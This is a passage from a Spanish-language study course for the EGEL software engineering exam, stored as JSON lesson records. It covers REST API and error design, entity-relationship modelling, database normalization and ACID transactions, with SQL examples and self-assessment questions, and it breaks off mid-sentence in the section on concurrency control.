Ultrarrápido (hasta 7 a 10 veces más veloz que REST). |\n| **Mejor caso de uso** | APIs públicas para navegadores web y apps móviles. | Comunicación interna entre microservicios de backend. |\n\n---\n\n## 4. Diseño de respuestas de error estructuradas (RFC 7807)\nDevolver un simple string `\"Error en el servidor\"` o un código `HTTP 200` con un JSON que dice `{\"success\": false, \"error\": \"falló\"}` es un antipatrón destructivo en la industria.\nEl estándar internacional **RFC 7807 (Problem Details for HTTP APIs)** establece que los errores deben tener una estructura consistente y predecible:\n\n```json\n{\n  \"type\": \"https://api.banco.com/errores/saldo-insuficiente\",\n  \"title\": \"Fondos insuficientes para completar la transacción\",\n  \"status\": 422,\n  \"detail\": \"El saldo actual de la cuenta ($450.00 MXN) no cubre el monto solicitado de $1,000.00 MXN.\",\n  \"instance\": \"/transacciones/tx-84920482\",\n  \"codigoErrorInterno\": \"ERR_SALDO_004\",\n  \"timestamp\": \"2026-09-14T15:28:00Z\"\n}\n```\n\n## Escenario de decisión profesional: La API del sistema de inventarios\nUn sistema de almacenes recibe peticiones de sincronización de stock de 500 sucursales. Durante la auditoría técnica, el analista descubre que el endpoint de actualización se diseñó así:\n`GET /api/actualizarStock?idProducto=45\u0026cantidad=10`\n\n**Diagnóstico de fallos técnicos:**\n1. **Uso incorrecto del verbo HTTP:** El verbo `GET` nunca debe modificar el estado del servidor. Los navegadores, proxies y aceleradores web cachean automáticamente las peticiones `GET` y pueden pre-cargarlas, lo que alteraría el inventario sin intervención humana.\n2. **Falta de idempotencia y concurrencia:** Si dos cajeros envían `cantidad=10` al mismo tiempo, el inventario se incrementa a ciegas sin control de concurrencia.\n3. **Falta de versionado:** La URL carece de `/v1/`, por lo que cualquier cambio en la estructura de parámetros romperá a las sucursales con versiones viejas del software.\n\n**Diseño corregido según estándares:**\n- Verbo: `PUT /api/v1/productos/45/stock` o `POST /api/v1/productos/45/ajustes-inventario` con payload JSON en el cuerpo.\n- Cabecera obligatoria de idempotencia: `Idempotency-Key`.\n- Respuesta: `HTTP 200 OK` con el nuevo estado del inventario o `HTTP 409 Conflict` si hubo colisión de versiones optimistas.\n\n## Claves para el EGEL\n- `GET`, `PUT`, `DELETE` son métodos HTTP **idempotentes**; `POST` **no es idempotente**.\n- En REST, los recursos se identifican mediante **sustantivos** (no verbos de acción).\n- El error `401 Unauthorized` indica falta de autenticación (¿quién eres?); el error `403 Forbidden` indica falta de autorización o permisos (sé quién eres, pero no puedes acceder aquí).\n\n## Autoevaluación\nUn cliente de comercio electrónico hace clic en \"Procesar Pedido\" con una conexión móvil inestable. La pasarela de cobros tarda 4 segundos en responder y la app móvil reintenta la misma petición tres veces.\n¿Qué mecanismo de diseño de APIs garantiza que la tarjeta del cliente solo sea debitada una vez sin importar cuántos reintentos lleguen al servidor?\nA) Usar el método HTTP GET en lugar de POST.\nB) Implementar una Clave de Idempotencia (Idempotency Key) única enviada por el cliente y verificada por el servidor antes de cobrar.\nC) Aumentar el timeout de la red móvil a 60 minutos.\nD) Guardar los datos en una cookie del navegador.\n\n*(Consulta la solución razonada en la lección 2.2.9).*\n\n## Puntos clave\n- Los recursos se nombran con sustantivos en plural; los verbos HTTP definen la acción.\n- La idempotencia es el escudo contra cobros y operaciones duplicadas en redes móviles inestables.\n- RFC 7807 unifica el manejo estructurado de errores para clientes frontend y móviles.\n","title":"2.2.4 Diseño de componentes, contratos e interfaces de software (APIs RESTful y gRPC)"},{"children":[],"contentMd":"# Diseño de datos relacional y modelado Entidad-Relación\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de diseñar esquemas de bases de datos relacionales robustos a partir de requerimientos de negocio, aplicando el modelo Entidad-Relación (E-R), definiendo entidades, atributos, relaciones, cardinalidades mínimas y máximas, y garantizando la integridad de entidad, referencial y de dominio mediante claves primarias, compuestas, foráneas y restricciones SQL.\n\n## ¿Por qué importa en la práctica profesional?\nEl código de una aplicación puede refactorizarse y reescribirse docenas de veces a lo largo de los años. Los datos, por el contrario, son el activo permanente más valioso de cualquier organización: si el esquema de base de datos está mal diseñado desde el inicio, con redundancias incontroladas, llaves foráneas ausentes o inconsistencias lógicas, la empresa acumulará millones de registros corruptos que ninguna inteligencia artificial ni algoritmo podrá reparar. El diseño de datos es uno de los temas con mayor número de reactivos en el EGEL.\n\n---\n\n## 1. Fundamentos del Modelo Entidad-Relación (E-R de Chen)\n\nPropuesto por Peter Chen en 1976 para modelar conceptualmente el universo de discurso de una organización:\n\n### Elementos constitutivos:\n1. **Entidad (Entity):**\n   - Un objeto del mundo real, tangible o abstracto, que es distinguible de todos los demás objetos y sobre el cual la organización necesita almacenar información (ej. `Cliente`, `Factura`, `Curso`, `Vuelo`).\n   - *Conjunto de entidades (Entity Set):* La colección de todas las instancias de una misma entidad en un momento dado (ej. todos los clientes del banco).\n2. **Atributo (Attribute):**\n   - Propiedad o característica que describe a una entidad.\n   - *Atributo simple / atómico:* No divisible (ej. `edad`, `precio`).\n   - *Atributo compuesto:* Puede subdividirse en partes independientes (ej. `direccion` descompuesta en `calle`, `numero`, `colonia`, `codigoPostal`).\n   - *Atributo univaluado:* Posee un único valor para cada entidad (ej. `curp`, `fechaNacimiento`).\n   - *Atributo multivaluado:* Puede contener un conjunto de valores para la misma entidad (ej. `telefonos`, `titulosUniversitarios`). Se representa con doble óvalo en Chen y debe trasladarse a una tabla independiente en el modelo relacional.\n   - *Atributo derivado:* Su valor puede calcularse a partir de otros atributos persistidos (ej. `edad` calculada a partir de `fechaNacimiento` y la fecha actual). **No debe almacenarse redundante en la base de datos** salvo por optimización consciente de rendimiento.\n3. **Relación (Relationship):**\n   - Asociación o vínculo semántico entre dos o más entidades (ej. `Empleado` *trabaja_en* `Departamento`).\n\n---\n\n## 2. Cardinalidad y Participación de Relaciones\n\nLa cardinalidad define el número de instancias de una entidad que pueden asociarse con instancias de otra entidad a través de una relación:\n\n### Tipos de mapeo de cardinalidad:\n1. **Uno a Uno (1:1):**\n   - Cada instancia de A se asocia con a lo sumo una instancia de B, y viceversa.\n   - *Ejemplo:* `Ciudadano` posee `Pasaporte`.\n   - *Traducción relacional:* La clave foránea puede colocarse en cualquiera de las dos tablas (preferentemente en la que tiene participación total), agregando una restricción de unicidad (`UNIQUE`).\n2. **Uno a Muchos (1:N):**\n   - Una instancia de A se asocia con muchas instancias de B, pero cada instancia de B se asocia con a lo sumo una instancia de A.\n   - *Ejemplo:* `Departamento` tiene muchos `Empleados`; cada empleado pertenece a un solo departamento.\n   - *Traducción relacional:* **La clave foránea se coloca OBLIGATORIAMENTE en la tabla del lado \"Muchos\" (N)** (es decir, en la tabla `Empleado` se coloca la columna `id_departamento`).\n3. **Muchos a Muchos (N:M):**\n   - Una instancia de A se asocia con muchas instancias de B, y una instancia de B se asocia con muchas instancias de A.\n   - *Ejemplo:* `Estudiante` inscribe `Materia`.\n   - *Traducción relacional:* **Obliga a crear una TERCERA TABLA INTERMEDIA (Tabla de Unión / Associative Entity)** que contiene las claves foráneas de ambas entidades (`id_estudiante`, `id_materia`), formando una clave primaria compuesta, además de los atributos propios de la relación (ej. `calificacion`, `semestre`).\n\n---\n\n## 3. Tipos de Claves y Restricciones de Integridad\n\nEn el modelo relacional de Codd (1970), las restricciones de integridad garantizan la exactitud y consistencia matemática de los datos:\n\n### Taxonomía de Claves:\n- **Superclave (Superkey):** Cualquier conjunto de uno o más atributos que identifica unívocamente a una fila en una tabla.\n- **Clave Candidata (Candidate Key):** Una superclave mínima (no se le puede eliminar ningún atributo sin perder la propiedad de unicidad).\n- **Clave Primaria (Primary Key - PK):** La clave candidata elegida formalmente por el diseñador de la base de datos para identificar a las filas de la tabla.\n  - *Clave natural:* Utiliza datos inherentes al negocio (ej. RFC, CURP, ISBN).\n  - *Clave subrogada / artificial:* Un identificador numérico autoincremental (`AUTO_INCREMENT / SERIAL`) o un UUID generado sintéticamente sin significado en el negocio.\n- **Clave Foránea (Foreign Key - FK):** Uno o más atributos de una tabla cuyos valores deben coincidir estrictamente con la clave primaria de otra tabla (o ser nulos si la participación es parcial).\n\n### Las Tres Reglas de Integridad Relacional:\n1. **Integridad de Entidad (Entity Integrity):**\n   - Ningún atributo que forme parte de la Clave Primaria puede ser nulo (`NOT NULL`).\n   - Toda fila debe tener un identificador válido y único.\n2. **Integridad Referencial (Referential Integrity):**\n   - Si una tabla contiene una Clave Foránea, el valor de esa clave foránea **debe existir en la Clave Primaria de la tabla referenciada**, o ser `NULL`.\n   - Evita la existencia de \"registros huérfanos\" (ej. un empleado asignado a un departamento `id_departamento = 999` que no existe en la tabla de departamentos).\n3. **Integridad de Dominio:**\n   - Todos los valores de una columna deben pertenecer al conjunto de valores permitidos para ese tipo de dato (tipo, longitud, rango con `CHECK`, valores válidos con `ENUM`).\n\n---\n\n## Acciones en Cascada ante Eliminaciones y Actualizaciones\n\n¿Qué debe ocurrir con los registros hijos cuando se elimina una fila padre?\nSQL permite configurar el comportamiento de la clave foránea mediante la cláusula `ON DELETE`:\n- `ON DELETE RESTRICT` / `NO ACTION` (Por defecto y más segura): Impide eliminar al padre si existen hijos asociados (lanza error de integridad).\n- `ON DELETE CASCADE`: Si eliminas al padre, el motor de base de datos **elimina automáticamente a todos los hijos asociados**. (Útil en relaciones de composición débil como `Factura` y sus `LineasFactura`).\n- `ON DELETE SET NULL`: Pone en `NULL` la clave foránea en los hijos cuando se borra al padre (solo permitido si la columna admite nulos).\n\n## Demostración práctica en DDL SQL:\n\n```sql\n-- TABLA PADRE\nCREATE TABLE departamentos (\n    id_departamento INT AUTO_INCREMENT PRIMARY KEY,\n    nombre VARCHAR(100) NOT NULL UNIQUE,\n    presupuesto DECIMAL(12,2) NOT NULL CHECK (presupuesto \u003e= 0)\n);\n\n-- TABLA HIJA (Relación 1:N con regla de integridad referencial estricta)\nCREATE TABLE empleados (\n    id_empleado INT AUTO_INCREMENT PRIMARY KEY,\n    nombre VARCHAR(100) NOT NULL,\n    rfc CHAR(13) NOT NULL UNIQUE,\n    salario DECIMAL(10,2) NOT NULL CHECK (salario \u003e 0),\n    id_departamento INT NOT NULL,\n    CONSTRAINT fk_empleado_departamento \n        FOREIGN KEY (id_departamento) \n        REFERENCES departamentos(id_departamento)\n        ON DELETE RESTRICT \n        ON UPDATE CASCADE\n);\n\n-- TABLA INTERMEDIA (Relación N:M entre Empleados y Proyectos)\nCREATE TABLE asignaciones_proyecto (\n    id_empleado INT NOT NULL,\n    id_proyecto INT NOT NULL,\n    horas_asignadas INT NOT NULL DEFAULT 0,\n    PRIMARY KEY (id_empleado, id_proyecto),\n    FOREIGN KEY (id_empleado) REFERENCES empleados(id_empleado) ON DELETE CASCADE,\n    FOREIGN KEY (id_proyecto) REFERENCES proyectos(id_proyecto) ON DELETE RESTRICT\n);\n```\n\n## Escenario de decisión profesional: El diseño del sistema médico \"ExpedienteSeguro\"\nUn hospital necesita registrar qué médico atiende a qué paciente. Inicialmente, un analista júnior propone colocar una columna `id_medico` dentro de la tabla `Pacientes`.\n\n**Diagnóstico del fallo de cardinalidad:**\n- Colocar `id_medico` en `Pacientes` asume una cardinalidad 1:N rígida: cada paciente solo podría ser atendido por un único médico en toda su vida hospitalaria.\n- En la realidad médica, un paciente en urgencias es atendido por un urgenciólogo, un cardiólogo, un anestesiólogo y un cirujano. La relación real es **Muchos a Muchos (N:M)**.\n- **Diseño corregido:** Se crea la entidad asociativa `ConsultasMedicas` o `IngresosHospitalarios` que vincula `id_paciente`, `id_medico`, `fecha_hora`, `diagnostico` y `receta`. El esquema ahora refleja la realidad clínica sin corromper la base de datos.\n\n## Claves para el EGEL\n- En una relación **1:N**, la clave foránea va **siempre en la tabla del lado N (muchos)**.\n- En una relación **N:M**, es **obligatorio crear una tabla intermedia asociativa** cuya clave primaria suele ser la combinación de las claves foráneas de ambas tablas.\n- La **integridad referencial** garantiza que no existan claves foráneas que apunten a claves primarias inexistentes.\n- Los atributos derivados **no deben guardarse redundantes** en el modelo conceptual.\n\n## Autoevaluación\nUna universidad modela la asignación de salones de clase. Se establece que: \"Un profesor imparte múltiples materias y una materia puede ser impartida por múltiples profesores en distintos grupos y horarios\".\n¿Qué estructura relacional debe construirse en la base de datos para soportar este requerimiento sin redundancia ni anomalías?\nA) Agregar una columna `profesores` de tipo texto con nombres separados por comas en la tabla Materias.\nB) Crear una tabla intermedia independiente (ej. `Cursos` o `Grupos`) con claves foráneas hacia `Profesores` y `Materias`, además de los atributos de horario y salón.\nC) Crear una clave foránea `id_materia` dentro de la tabla de Profesores.\nD) Duplicar la fila del profesor por cada materia que imparta en la misma tabla de Profesores.\n\n*(Consulta la solución razonada en la lección 2.2.9).*\n\n## Puntos clave\n- El modelo E-R captura las entidades y relaciones del negocio antes de construir tablas.\n- Las cardinalidades 1:1, 1:N y N:M dictan la ubicación de las claves foráneas y la necesidad de tablas puente.\n- Las reglas de integridad de entidad y referencial son los guardianes de la consistencia de los datos.\n","title":"2.2.5 Diseño de bases de datos relacionales: Modelo E-R, esquema relacional e índices"},{"children":[],"contentMd":"# Normalización de bases de datos (1FN, 2FN, 3FN, BCNF) vs Desnormalización consciente\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de auditar y normalizar esquemas de bases de datos relacionales identificando y resolviendo dependencias funcionales parciales y transitivas a través de la Primera Forma Normal (1FN), Segunda Forma Normal (2FN), Tercera Forma Normal (3FN) y Forma Normal de Boyce-Codd (BCNF), previniendo anomalías de inserción, actualización y borrado, y justificando cuándo aplicar desnormalización consciente por rendimiento.\n\n## ¿Por qué importa en la práctica profesional?\nUn esquema de base de datos desnormalizado sin control es la causa número uno de corrupción de datos en sistemas corporativos. Si la dirección de un proveedor se almacena duplicada en 5,000 filas de productos, el día que el proveedor cambia de domicilio se deben actualizar las 5,000 filas: si el servidor se interrumpe a la mitad, la base de datos contendrá domicilios contradictorios para el mismo proveedor (anomalía de modificación). La normalización elimina la redundancia dañina y garantiza la consistencia lógica.\n\n---\n\n## Las Tres Anomalías del Mal Diseño Relacional\n\nAntes de normalizar, debes reconocer las consecuencias del diseño deficiente:\n\n1. **Anomalía de Modificación / Actualización:**\n   - La misma información de un hecho del negocio está duplicada en múltiples filas. Si cambia, debe modificarse en todas; si alguna fila se omite, la base de datos queda en estado inconsistente.\n2. **Anomalía de Inserción:**\n   - Resulta imposible registrar un nuevo dato del negocio a menos que se registre simultáneamente otro dato no relacionado.\n   - *Ejemplo:* Si la información de los departamentos está en la misma tabla de empleados con clave primaria `id_empleado`, no puedes crear un nuevo departamento \"Inteligencia Artificial\" hasta que contrates al primer empleado para asignarlo a esa fila.\n3. **Anomalía de Borrado:**\n   - Al eliminar un registro para borrar un dato, **se pierde accidentalmente información vital de otro hecho de negocio completamente distinto**.\n   - *Ejemplo:* Si despides al único empleado que trabajaba en la sucursal de Cancún y borras su fila, se borra también la existencia, teléfono y dirección de la sucursal de Cancún.\n\n---\n\n## El Proceso de Normalización Paso a Paso\n\nLa normalización es un proceso matemático progresivo basado en el análisis de las **Dependencias Funcionales** entre atributos:\n\n$$X \\rightarrow Y \\quad \\text{(El conjunto de atributos } X \\text{ determina funcionalmente al atributo } Y\\text{)}$$\n\n---\n\n### 1. Primera Forma Normal (1FN)\n\u003e *Una tabla está en 1FN si y solo si todos sus atributos son **atómicos** (indivisibles) y no existen **grupos repetitivos** ni listas de valores en una sola celda.*\n\n- **Síntoma de violación:**\n  - Celdas con valores múltiples separados por comas: `telefonos = \"555-1111, 555-2222, 555-3333\"`.\n  - Columnas repetitivas artificiales: `telefono1`, `telefono2`, `telefono3`.\n- **Solución para alcanzar 1FN:**\n  - Descomponer los atributos no atómicos para que cada celda contenga un único valor escalar indivisible.\n  - Trasladar los grupos repetitivos a una tabla independiente con una clave foránea hacia la entidad principal.\n\n---\n\n### 2. Segunda Forma Normal (2FN)\n\u003e *Una tabla está en 2FN si y solo si **está en 1FN** y **todo atributo no clave depende funcionalmente de la TOTALIDAD de la Clave Primaria**, no de una parte de ella.*\n\n- **Condición previa:** La 2FN solo aplica a tablas que tienen **Clave Primaria Compuesta** (formada por 2 o más columnas). Si la tabla tiene una clave primaria simple de una sola columna, ¡automáticamente ya está en 2FN!\n- **Síntoma de violación:** **Dependencia Funcional Parcial**.\n  - Supongamos una tabla con clave primaria compuesta `(id_estudiante, id_curso)`.\n  - El atributo `calificacion` depende de ambos (`id_estudiante` e `id_curso` juntos). Cumple 2FN.\n  - Pero el atributo `nombre_estudiante` depende **únicamente** de `id_estudiante`, ignorando a `id_curso`. ¡Viola 2FN!\n- **Solución para alcanzar 2FN:**\n  - Extraer los atributos que dependen parcialmente de la clave a una nueva tabla donde esa parte de la clave sea la clave primaria completa (`Estudiantes(id_estudiante, nombre_estudiante)`).\n\n---\n\n### 3. Tercera Forma Normal (3FN)\n\u003e *Una tabla está en 3FN si y solo si **está en 2FN** y **ningún atributo no clave depende transitivamente de la Clave Primaria**.*\n\n- **Regla mnemotécnica de Kent:** *\"Todo atributo debe depender de la clave, de toda la clave, y de nada más que de la clave, que Dios me ayude\"*.\n- **Síntoma de violación:** **Dependencia Funcional Transitiva** ($A \\rightarrow B$ y $B \\rightarrow C$, por lo tanto $A \\rightarrow C$ a través de un intermediario no clave).\n  - En la tabla `Empleados(id_empleado, nombre, id_departamento, nombre_departamento)`:\n  - `id_empleado` (PK) determina a `id_departamento`.\n  - Pero `id_departamento` (que NO es clave primaria) determina a `nombre_departamento`.\n  - Si el departamento cambia de nombre, hay que actualizar a todos los empleados de ese departamento (Anomalía de modificación).\n- **Solución para alcanzar 3FN:**\n  - Extraer la dependencia transitiva a una tabla propia: `Departamentos(id_departamento, nombre_departamento)`, dejando en `Empleados` únicamente la clave foránea `id_departamento`.\n\n---\n\n### 4. Forma Normal de Boyce-Codd (BCNF)\nUna versión más estricta de la 3FN que resuelve anomalías raras cuando existen múltiples claves candidatas superpuestas:\n\u003e *Una tabla está en BCNF si y solo si, para toda dependencia funcional no trivial $X \\rightarrow Y$, **$X$ es una Superclave**.*\n\n---\n\n## Tabla comparativa de Formas Normales\n\n| Forma Normal | Requisito principal | Defecto que elimina | Prueba visual rápida |\n|---|---|---|---|\n| **1FN** | Atributos atómicos; sin grupos repetitivos. | Celdas con listas de valores o columnas duplicadas (`tel1, tel2`). | ¿Hay celdas con comas o múltiples valores? |\n| **2FN** | 1FN + Eliminación de dependencias parciales. | Atributos que dependen de solo una parte de la clave primaria compuesta. | ¿Aplica a tablas con PK compuesta? ¿Depende del todo? |\n| **3FN** | 2FN + Eliminación de dependencias transitivas. | Atributos no clave que determinan a otros atributos no clave. | ¿Hay columnas que dependen de otra columna ordinaria? |\n| **BCNF** | Todo determinante en una dependencia funcional debe ser superclave. | Anomalías en claves candidatas compuestas que se solapan. | ¿El lado izquierdo ($X$) de $X \\rightarrow Y$ siempre es superclave? |\n\n---\n\n## ¿Cuándo Desnormalizar Conscientemente?\n\nNormalizar hasta 3FN es la regla de oro para el diseño transaccional (OLTP - Online Transaction Processing). Sin embargo, la normalización pura divide los datos en muchas tablas, lo que obliga a la base de datos a realizar múltiples operaciones `JOIN` costosas para resolver consultas de lectura.\n\n### Desnormalización consciente y controlada:\nLa desnormalización consiste en introducir **redundancia calculada y controlada** en el esquema para optimizar drásticamente el rendimiento de lectura:\n- **Almacenes de datos analíticos (Data Warehouses / OLAP):** Esquemas en Estrella (Star Schema) o Copo de Nieve, donde las tablas de hechos tienen datos desnormalizados para acelerar reportes de millones de filas.\n- **Campos calculados de alta frecuencia:** Guardar `total_factura` en la cabecera de la factura en lugar de recalcular la suma de 500 líneas en cada consulta.\n- **Condición obligatoria:** Toda desnormalización debe estar justificada por pruebas de rendimiento empíricas y protegida por transacciones automáticas o triggers que garanticen que la redundancia nunca quede desincronizada.\n\n## Escenario de decisión profesional: El diseño de facturación\nSe tiene la siguiente tabla inicial sin normalizar:\n\n| id_factura | fecha | id_cliente | nombre_cliente | direccion_cliente | articulos_comprados |\n|---|---|---|---|---|---|\n| 101 | 2026-09-14 | C-01 | Juan Pérez | Av. Juárez 45 | Laptop (1), Ratón (2) |\n\n**Proceso de normalización ejecutado por el ingeniero:**\n1. **Paso a 1FN:** La columna `articulos_comprados` tiene valores compuestos no atómicos. Se crea una fila por artículo, identificada por la clave compuesta `(id_factura, id_articulo)`.\n2. **Paso a 2FN:** En la tabla de detalles, `nombre_articulo` y `precio_unitario` dependen solo de `id_articulo`, no de `id_factura`. Se extraen a la tabla independiente `Articulos(id_articulo, nombre, precio)`.\n3. **Paso a 3FN:** En la tabla de facturas, `nombre_cliente` y `direccion_cliente` dependen de `id_cliente`, que no es la clave primaria de la factura (`id_factura ──\u003e id_cliente ──\u003e nombre_cliente`). Se extrae a la tabla `Clientes(id_cliente, nombre, direccion)`.\n\n**Esquema final en 3FN:**\n- `Clientes(id_cliente [PK], nombre, direccion)`\n- `Articulos(id_articulo [PK], nombre, precio)`\n- `Facturas(id_factura [PK], fecha, id_cliente [FK])`\n- `DetalleFactura(id_factura [FK], id_articulo [FK], cantidad, precio_venta [PK compuesta: id_factura, id_articulo])`\n\n## Claves para el EGEL\n- Si una celda tiene **múltiples datos separados por comas**, viola **1FN**.\n- Si una tabla con **clave primaria compuesta** tiene un atributo que depende solo de una parte de la clave, viola **2FN**.\n- Si una tabla tiene una **columna no clave que determina a otra columna no clave**, viola **3FN**.\n- La desnormalización se justifica **únicamente por rendimiento de lectura** en escenarios analíticos o cuellos de botella demostrados.\n\n## Autoevaluación\nUna tabla de asignación de proyectos tiene la clave primaria compuesta `(id_empleado, id_proyecto)` y las columnas: `nombre_empleado`, `horas_trabajadas` y `titulo_proyecto`.\nAl analizar las dependencias se descubre que `nombre_empleado` depende únicamente de `id_empleado`, y `titulo_proyecto` depende únicamente de `id_proyecto`.\n¿Qué forma normal está siendo violada y cómo se soluciona?\nA) Viola 1FN; se deben eliminar las comas.\nB) Viola 2FN debido a dependencias funcionales parciales sobre la clave primaria compuesta; se debe descomponer en tres tablas: `Empleados`, `Proyectos` y `Asignaciones`.\nC) Viola 3FN por dependencia transitiva.\nD) La tabla ya está en BCNF.\n\n*(Consulta la solución razonada en la lección 2.2.9).*\n\n## Puntos clave\n- 1FN = Atomicidad y ausencia de grupos repetitivos.\n- 2FN = 1FN + Sin dependencias parciales en claves compuestas.\n- 3FN = 2FN + Sin dependencias transitivas entre atributos no clave.\n- Normalizar previene anomalías transaccionales; desnormalizar optimiza lecturas masivas.\n","title":"2.2.6 Normalización de bases de datos (1FN a 3FN/BCNF) vs Desnormalización táctica"},{"children":[],"contentMd":"# Transacciones ACID, Niveles de Aislamiento y Control de Concurrencia\n\nEn sistemas empresariales concurrentes, múltiples usuarios y servicios leen y modifican el estado compartido de manera simultánea. Sin un control riguroso de concurrencia transaccional, surgen estados inconsistentes irreparables: dinero debitado pero no acreditado, sobreventa de inventario, o lectura de registros fantasma. En el EGEL de Ingeniería de Software, las preguntas de gestión de datos evalúan intensivamente la comprensión del acrónimo ACID, los niveles de aislamiento ANSI SQL, las anomalías de concurrencia y la selección fundamentada entre control de concurrencia pesimista y optimista.\n\n---\n\n## 1. El Acrónimo ACID: Semántica y Mecanismos de Soporte\n\nUna **transacción** es una secuencia de operaciones tratadas como una única unidad lógica e indivisible de trabajo. Las propiedades ACID garantizan la fiabilidad de las transacciones en una base de datos:\n\n| Propiedad | Definición Formal | Mecanismo Típico de Implementación | Escenario de Falla sin la Propiedad |\n| :--- | :--- | :--- | :--- |\n| **A - Atomicidad (Atomicity)** | Todo o nada (\"All-or-nothing\"). Todas las operaciones de la transacción se ejecutan con éxito o ninguna surte efecto en la base de datos. Si ocurre un fallo a mitad de camino, se ejecuta un `ROLLBACK`. | **Write-Ahead Logging (WAL)**: Los cambios se registran en el log secuencial en disco antes de modificarse en las páginas de datos en memoria/disco. En crash, se hace *Undo* de operaciones no confirmadas. | Se descuentan $5,000 de la cuenta origen en una transferencia bancaria, el servidor se apaga repentinamente por corte eléctrico antes de abonar a la cuenta destino, y el dinero desaparece del sistema. |\n| **C - Consistencia (Consistency)** | La transacción transforma la base de datos de un estado válido a otro estado válido, preservando todas las invariantes, restricciones de integridad (`FOREIGN KEY`, `CHECK`, `NOT NULL`, `UNIQUE`) y reglas de dominio del negocio. | Motor relacional evaluando restricciones de integridad declarativas y disparadores (`triggers`) antes de autorizar el `COMMIT`. | Un usuario inserta un pedido asociado a un cliente inexistente (`FK` rota) o un saldo bancario resultante de una transacción queda con valor negativo violando una restricción `CHECK (saldo \u003e= 0)`. |\n| **I - Aislamiento (Isolation)** | La ejecución concurrente de múltiples transacciones produce el mismo resultado que si se hubieran ejecutado de manera estrictamente secuencial una tras otra. Las operaciones intermedias no confirmadas no deben ser visibles para otras transacciones. | Mecanismos de control de concurrencia: Bloqueos de dos fases (2PL), Multiversion Concurrency Control (MVCC) o cerrojos lógicos. | Una transacción de auditoría suma los saldos de todas las cuentas bancarias mientras una transferencia concurrente está a la mitad, leyendo una cuenta ya debitada pero la otra aún no acreditada, reportando un descuadre contable falso. |\n| **D - Durabilidad (Durability)** | Una vez que una transacción ha completado su ejecución exitosamente (`COMMIT`), sus efectos persisten permanentemente y sobreviven a cualquier fallo posterior del sistema (cortes de energía, caída del sistema operativo, reinicios forzados). | Forzado de flush en disco del Write-Ahead Log (`fsync` a almacenamiento no volátil) antes de responder con éxito al cliente. | Un usuario recibe confirmación en pantalla de \"Compra Exitosa\", se reinicia el servidor de base de datos segundos después, y al encenderse el registro del pedido no existe. |\n\n---\n\n## 2. Fenómenos Anómalos de Concurrencia y Niveles de Aislamiento SQL\n\nCuando múltiples transacciones acceden a las mismas filas concurrentemente sin aislamiento absoluto, ocurren tres fenómenos anómalos clásicos definidos por el estándar ANSI/ISO SQL-92:\n\n### Anomalías Clásicas\n\n1. **Lectura Sucia (Dirty Read):**\n   - *Mecánica:* La transacción T1 modifica una fila pero aún no hace `COMMIT`. La transacción T2 lee esa fila modificada. Posteriormente, T1 falla y ejecuta un `ROLLBACK`.\n   - *Impacto:* T2 operó sobre datos ficticios que formalmente nunca existieron en la base de datos.\n2. **Lectura No Repetible (Non-Repeatable Read / Fuzzy Read):**\n   - *Mecánica:* La transacción T1 lee una fila. La transacción T2 modifica o elimina esa misma fila y ejecuta `COMMIT`. Si T1 vuelve a leer la misma fila dentro de su propia transacción, encuentra valores distintos o la fila ya no existe.\n   - *Impacto:* Falta de consistencia en lecturas repetidas dentro del mismo ciclo transaccional.\n3. **Lectura Fantasma (Phantom Read):**\n   - *Mecánica:* La transacción T1 ejecuta una consulta por rango (ejemplo: `SELECT COUNT(*) FROM clientes WHERE saldo \u003e 10000`). La transacción T2 inserta una nueva fila que cumple dicho criterio (`INSERT INTO clientes VALUES ('Carlos', 15000)`) y hace `COMMIT`. Si T1 vuelve a ejecutar la misma consulta por rango, el conjunto de resultados contiene una fila adicional (el \"fantasma\").\n   - *Impacto:* Discrepancias en agregaciones y reportes transaccionales basados en rangos.\n\n### Niveles de Aislamiento ANSI SQL\n\nEl estándar ANSI SQL define cuatro niveles progresivos de aislamiento, donde cada nivel previene anomalías adicionales a costa de mayor overhead y menor concurrencia:\n\n| Nivel de Aislamiento | Lectura Sucia (Dirty Read) | Lectura No Repetible (Non-Repeatable Read) | Lectura Fantasma (Phantom Read) | Costo de Rendimiento y Bloqueo |\n| :--- | :---: | :---: | :---: | :--- |\n| **Read Uncommitted** | Permite (Ocurre) | Permite (Ocurre) | Permite (Ocurre) | Mínimo. No adquiere bloqueos de lectura compartidos. Cero consistencia. |\n| **Read Committed** | **Previene** | Permite (Ocurre) | Permite (Ocurre) | Nivel predeterminado en la mayoría de RDBMS (PostgreSQL, SQL Server, Oracle). Solo lee datos confirmados. |\n| **Repeatable Read** | **Previene** | **Previene** | Permite (Ocurre en ANSI estándar)* | Garantiza que filas leídas no cambian. Adquiere bloqueos de lectura hasta el final de la transacción (o utiliza snapshots en MVCC). |\n| **Serializable** | **Previene** | **Previene** | **Previene** | Máximo costo. Bloqueos de rango o detección estricta de conflictos de serialización. Equivalente a ejecución monohilo. |\n\n*\\*Nota de ingeniería moderna:* En motores basados en MVCC puro como PostgreSQL, la implementación de `Repeatable Read` previene también la lectura fantasma porque trabaja sobre una instantánea (snapshot) fija del inicio de la transacción, pero en el estándar ANSI teórico la prevención de fantasmas solo es mandatoria en `Serializable`.\n\n---\n\n## 3. Control de Concurrencia: Bloqueo Pesimista vs Bloqueo Optimista\n\nPara gestionar el acceso concurrente a registros disputados (por ejemplo, el inventario de un producto en descuento extremo o el saldo de una cuenta), la ingeniería de software utiliza dos paradigmas fundamentales:\n\n### A. Control de Concurrencia Pesimista (Pessimistic Locking)\n\n- **Filosofía:** \"Asumir que el conflicto es inminente y muy probable\". Por lo tanto, nadie puede tocar los datos mientras yo los esté usando.\n- **Mecanismo:** Se adquieren bloqueos explícitos a nivel de fila o tabla en el motor de base de datos desde el momento de la lectura.\n  - **Shared Lock (S-Lock / Lectura):** Múltiples transacciones pueden leer la fila, pero ninguna puede modificarla hasta que se liberen los S-Locks.\n  - **Exclusive Lock (X-Lock / Escritura):** Solo una transacción tiene el cerrojo; nadie más puede leerla con bloqueo ni modificarla.\n  - **Sintaxis SQL común:** `SELECT * FROM producto WHERE id = 10 FOR UPDATE;` (adquiere un X-Lock inmediato hasta el `COMMIT` o `ROLLBACK`).\n- **Riesgo Crítico: Interbloqueo (Deadlock):**\n  - Ocurre cuando la Transacción A bloquea el Recurso 1 y solicita el Recurso 2, mientras la Transacción B bloquea el Recurso 2 y solicita el Recurso 1. Ambas quedan congeladas indefinidamente en espera mutua.\n  - *Mitigación:* Orden estricto y predecible de adquisición de bloqueos en toda la aplicación, timeouts de bloqueo (`LOCK_TIMEOUT`), o detección automática mediante grafos de espera (*wait-for graphs*) donde el 